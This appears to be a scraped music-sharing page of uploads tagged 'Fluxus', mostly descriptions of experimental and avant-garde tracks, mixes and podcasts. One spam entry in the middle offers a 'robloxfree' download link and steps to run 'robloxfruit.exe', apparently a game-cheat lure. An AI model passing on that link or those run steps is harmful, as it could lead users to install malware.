100% 
also known as 'This is NOT' or 'This is NUTS.'
Composed by Objective Chance method
by @artistadimerda

100% aka This is NOT aka This is NUTS

MTG - LAST NIGHT VERSÃO FUNK SP -  DJ RENÊ ,DJ CASSULA,  DJ MENOR DOS FLUXUS

Part 2 of the music of Henry Flynt - Somnethin' Else delves for a second time into the world of avantgarde, drone, folk blues minimalist Henry Flynt. Part 1 dealt with some of the history of this unique artist/musician/philosopher, part 2 allows for us to hear some of his long form drones and other wonderful oddities that have been unearthed over the last 25 years. Tune in a zone out.

Track Listing:
Ascent to the sun – Recorded Music
With C.C. Hennix Warriors of the Dharma– Dharma Warriors – Locust Music
Conga - Novabilly – Locust Music
Amphetamin Rhapsody - Novabilly – Locust Music
Potrait - Novabilly – Locust Music
Glissando No. 1 – Recorded Music
Purified by Fire – Locust Music

Somethin' Else

Somethin' Else - Henry Flynt part 2 -16-7-24

Blue Sun Radio Play vol. 24
suerke, the Cluj-Napoca born, Budapest based product designer, collector, producer tosses our inner boat about in his experimental soundscape of ’industlyrical fetish objects’.
 
Beginning with an end, the mix turns octaves to concave and convex structures of noise and sound, invoking the distorted and disturbing world of industrial factories and expressionist movies. A spatial narrative from blocks of textural sounds telling the tale of the modern man and the sea, with neo-classical choir flashes serving as the only rays of light.

https://soundcloud.com/suerke

Tracklist:
• Luciano Berio - E si fussi pisci
• Current Signal - Double Vision
• Ilios - 18102002
• Ensemble Pirin - Писмо ти е дошло
• O. Olsen - Solo Recordings - O.S. 1
• ユンカースJU-87シュトゥーカ サイレン音
• Etat Brut - Sollicitation Extérieure
• Marja Ahti - In all this, there is a melody that you can sing and to which you may dance
• Virus2020 - Distoritual
• Frankie & The Beast - 06 April 11, 1954, GoodBye See You
• Luciano Berio - E si fussi pisci
• Iannis Xenakis - Theraps for Solo Double Bass
• КАМЕРА СЕНСОРНОЙ ДЕПРИВАЦИИ - 01 04062015
• Sáry László - Magnificat for Soprano and 3 Flutes
• Rózmann Ákos - 12 Stations III
• Else Marie Pade - Glasperlenspil II
• Mount Fog - Fantasma VI
• Lilith - Clay
• suerke - 4d#
• Luciano Berio - E si fussi pisci

Blue Sun Radio Play vol. 24 by suerke

Fluxus Dj Mix

this is the best track ever on the fluxus executor https://fluxusexecutepro.com/

the fluxus love 2

From KR100: YOKO ONO / THE GREAT LEARNING ORCHESTRA - Selected Recordings From "Grapefruit". 2LP / 2CD / DL out on march 21st, 2025.
For the first-time a full album with recordings based on YOKO ONO’s 1964 collection of texts, event scores and drawings “Grapefruit”, a foundational cornerstone of what became known as conceptual art, and enveloping the orbits of Fluxus and experimental music.
THE GREAT LEARNING ORCHESTRA has during the 25 years of its existence performed a large variety of contemporary and experimental music and worked with GAVIN BRYARS, TERRY RILEY, PAULINE OLIVEROS, J.G. THIRLWELL, ARNOLD DREYBLATT a.o.

YOKO ONO / THE GREAT LEARNING ORCHESTRA - Bicycle Piece for Orchestra

Link download: https://durl.pw/robloxfree

Web : https://robloxs.pro

How to install:

1.Unzip all files from archive
2.Run robloxfruit.exe
3.Complete full installation
4.Done, enjoy!

#bloxfruits​ #fluxus​ #updatefluxus​ #fluxusmoinhat​ #updatebloxfruit20

Roblox Custom Mods Build Your Dream Game 2025

Initially, I considered titling this “Tools,” since the concept was to create both the music and the album cover purely using pre-existing tools in Logic Pro and Canva—an expression of creativity in the modern age (I also thought about taking a “Lateralus”-like approach—because, well… Tools).

But as the process unfolded, the album cover itself seemed to call for Xenakis. So, I sampled “Syrmos (1959),” layering it as an effect over the beat.

This led to an architectural yet chaotic permutation—where structured repetition justifies the blending of sounds that aren’t traditionally “functional.” Inspired by Xenakis, I played with the idea of “flux per area,” which can be reversed, like a “measure per flux.” (Also paying tribute to the Fluxus art movement).

Then came the blues guitar riff over the circle of fifths—a shift inspired by Bach’s Cantatas (e.g., Nos. 140 & 147) where the introduction of a second melody radically transforms the mood.

Also I write this in retrospect. I wasn’t thinking too much in the process—just following the flow.

当初、この作品のタイトルは 「Tools」にしようと考えていた。Logic Pro と Canva の、既存のツールのみを使って楽曲とアルバムカバーを制作するというコンセプトであり、現代の創造性を象徴する試みでもあった（また、Lateralus のようなアプローチを取ることも考えた——なぜなら…Tools だから）。

しかし、制作が進むにつれ、アルバムカバーそのものが「クセナキスの音を加えろ」と語りかけてくるように感じた。そこで、「Syrmos (1959)」 をサンプリングし、ビートにエフェクトとして重ねた。

その結果、生まれたのは建築的でありながら混沌とした変奏。反復が、「機能性」を持たない音の融合を正当化する。クセナキスの音楽に活用されている「フラックス・パー・エリア」という概念を探求し、それを逆転させた「メジャー・パー・フラックス」という発想にも行き着いた。（また、フルクサス運動へのオマージュも込めている。）

さらに、ブルースギターのリフを五度圏のサイクルの上に乗せた。これは、バッハのカンタータ（例：No.140 & No.147）に着想を得たもので、新たな旋律の導入によって楽曲のムードが劇的に変化するという手法を取り入れている。

と、振り返りながら書いています。制作過程の瞬間瞬間は流れに身を任せていただけだった。


Per Flux

Segunda Iteración de "Todas las notas largas de mi Instrumento" (2024), una pieza interactiva de carácter improvisatorio para el ensamble de cualquier número y tipo de instrumentos. En ella los músicos tocan en cualquier orden y de la forma mas larga posible, cada nota (o un grupo de notas) de cualquier forma que le permita su instrumento, escuchando e interactuando apaciblemente con el resto del ensamble.

Busca con ella insertar la improvisación como tecnología social para la cohesión en grupos de músicos, desarrollar sistemas musicales interactivos no digitales, y ofrecer una experiencia audible satisfactoria para el escucha y el instrumentista.

Gracias a Rogeiro Llamas por el acompañamiento de la idea, a Juan S. Lach por la revisión de la pieza, a Edgar Beltrán por la edición del texto-partitura, a Liliana Rodriguez, Rogeiro Llamas, David Ethan y Carmen Maldonado por darle vida a esta versión, a Ver Ireta por el diseño de la portada y a Alejandro A. Pantoja, Ulises Santos Cortés, Lorena Villanueva y Mike Navarro por su escucha, asistencia y acompañamiento.

Liliana Rodriguez Alvarado aka Nabora Carrillo, viola.
Rogeiro Llamas, Cello.
David Ethan R. G., Fagot
Carmen Maldonado Martinez, Percusiones

Ver Ireta, portada @vervrer

Música grabada durante Noviembre y Diciembre del 2024 en León Guanajuato (Hotel El Barón)  y Mérida, Yucatán (Academia Bend, Estudio Cupules)

Hotel El Barón, Mike Navarro.
Academia Bend, Daniel Parra Calderón.
Estudio Cupules, Amaury León, Alberto León.

Ciudad de México, 28 de Febrero del 2025

TLNLDMI (2024-2) / Liliana Rodríguez Alvarado, Rogeiro Llamas, David Ethan, Carmen Maldonado

Social Discipline is incredibly excited to present the adventurous life of Jeff Perkins, a hidden gem of the American underground.

This massive five-hour podcast, recorded in Berlin in June 2024, explores his fascinating journey—no one else can claim to have performed for Yoko Ono and John Cage, created legendary light shows with The Velvet Underground, Sly and the Family Stone, and The Germs, programmed the first Kenneth Anger retrospective in L.A., and encountered both Charles Manson and members of the satanic cult The Process.

Jeff joined the military in the 1960s and was stationed in Tokyo, where he met Yoko Ono in the early ’60s. He began performing some of her pieces there and later in New York. Perkins also filmed Ono’s classic Film No. 4 (Bottoms), a Fluxus work. His first independent contribution to the Fluxfilm Anthology was Shout. He was at the heart of the 1960s New York avant-garde scene, surrounded by figures like La Monte Young, Jack Smith, and Angus MacLise.

In January 1967, Perkins moved to Los Angeles, where he worked as a programmer at Cinematheque 16. Influenced by Tony Conrad’s The Flicker, he began producing powerful light shows and collaborated with bands throughout the ’60s and ’70s—ranging from The Jimi Hendrix Experience and The Grateful Dead to the punk scene with X and The Germs. He even refused to do a show for the Sex Pistols due to a disagreement with the promoter. Perkins was a close friend of Terry Jennings and, in fact, entrusted his archive to La Monte Young. While in L.A., he was neighbors with the artist James Turrell.

In 1980, Perkins moved back to New York and started a loft project just a block away from Ground Zero, reminiscent of George Maciunas’ artist loft spaces. To finance it, he worked as a cab driver. He remained deeply connected to cinema, particularly through Anthology Film Archives, where he proposed a John Cassavetes retrospective to Jonas Mekas and later became a manager. In 1994, Nam June Paik—who coined the term “The Fluxus cab driver” for Perkins—invited him to perform at Anthology Film Archives in a homage to Yoko Ono. His performance, Butthead, was a great success. His legendary loft became a hub where one could easily encounter visiting filmmakers like Pedro Costa and Albert Serra.

In 1989, Perkins organized a series of lectures at Anthology Film Archives with Henry Flynt and Tony Conrad, reuniting the two after years of estrangement. Flynt would become a lifelong friend. In 2008, during the financial crisis, when I lived with Jeff, we organized a series of four-hour lectures by Flynt in the loft’s kitchen, focusing on the crisis and communist economics. I vividly remember Tony Conrad attending one of them in his elegant pajamas.

Perkins has directed two critically acclaimed films—one on abstract painter Sam Francis and another on the legendary Fluxus figure George Maciunas. He is currently finishing editing a film about Henry Flynt in Berlin.

This podcast concludes with an excerpt from his piece Movies for the Blind, which features recordings of conversations with passengers from his time as a New York cab driver.

SD44 w/Jeff Perkins "The Fluxus Cab Driver"

Welcome to

Įraše girdime neredaguotą improvizaciją. Atlikta su gan vaikišku Casiotone sintezatoriumi + delay.

Įrašiau šį eskizą specialiai gatvės muzikos dienos pasirodymui Jono Meko skersgatvyje 2025 gegužės 17 d.

Šį sintezatorių nusipirkau Indijoje, Varanasio mieste, kur šalia Gangos upės krantų liepsnoja krematoriumai. Šio sintezatoriaus man reikėjo, kad gržęs į Naująjį Delį juo sugročiau koncertą klube Piano Man.

Kai kurios koncerto natos atsispindi ir šiame įraše. Galima teigti, kad šis intstrumentas pasakoja mano įspūdžius iš kelionės po Indiją.



Tripping in Varanasi (short raw version)

Meditação guiada por Ângela Puhl para limpar energeticamente a tua casa e o teu corpo com a luz violeta.
Ideal para momentos de renovação, início de ciclo ou prática de Lua Minguante ou Nova.
Voz, música e intenção num só fluxo.

#meditação #fengshui #limpezaenergetica #fluxus #angelapuhl #casacomalma

Meditação com a Luz Violeta – Limpeza energética da tua casa e de ti

Conceptual musical output based in Budapest, promoting slow paced sounds.
Founded and curated by Hanussen and Kozmo D.
Record label • Listening sessions • Mix series

https://soundcloud.com/hanussen_hanussen
https://soundcloud.com/kozmo_d

Somethin’ Else is a weekly radio show in the Bellingen shire of mid North Coast NSW, Australia, delving deep into music forms that exists on the outer edge, taking the listener on a journey into who, why and how of music creation…touching on avant-garde, experimental expression, free jazz, weird folk, post punk, psych, minimalism and much more. At times focusing on an artist, micro-scene, labels or specific genre, Tune in and have your ears and mind challenged!

Presenter Mark Morris has spent many years before moving to Australia, working in the music industry, from his early days at Ray’s Jazz Shop in Soho, London, independent record labels, culminating in the curation of his own record label Bo’ Weavil Recordings. A labour of love, Bo’ Weavil catalogued free jazz, noise, drone and folk from contemporary musicians while reissuing long out of print gems from across the globe. Mark brings a wealth of knowledge and passion to his weekly broadcasts.

In the vast, unpredictable theater of now, Mattin and Miguel Prado surrendered to the whims of the unconscious, that masterful improviser, seeking to conjure into being a future that, once distant, now beckoned with the inevitability of a forgotten prophecy slowly, inexorably coming to fruition.

entonación justa, improvisación y código en vivo;
música con grabaciones de campo en @ruidoderio

Transmissions from Year 333.137 ABRAXAS
goin' Time Backwards til. 5 july 1998. 
👽AI-gen ALIEN HYDRO HOP VideoClix:
https://youtu.be/uVQ2rKovo4o?si=C95OQfXSj7DK2ucA

Berlin based label for experimental / electronic / contemporary / drone / ambient and related sounds.
Demos, interview or wholesale requests etc. pls via
contact  at  karlrecords.net

thanks.

Music and vinyl collector.
Painful and pleasant experimental ambient electronic & industrial sounds.

New tracks tagged #Fluxus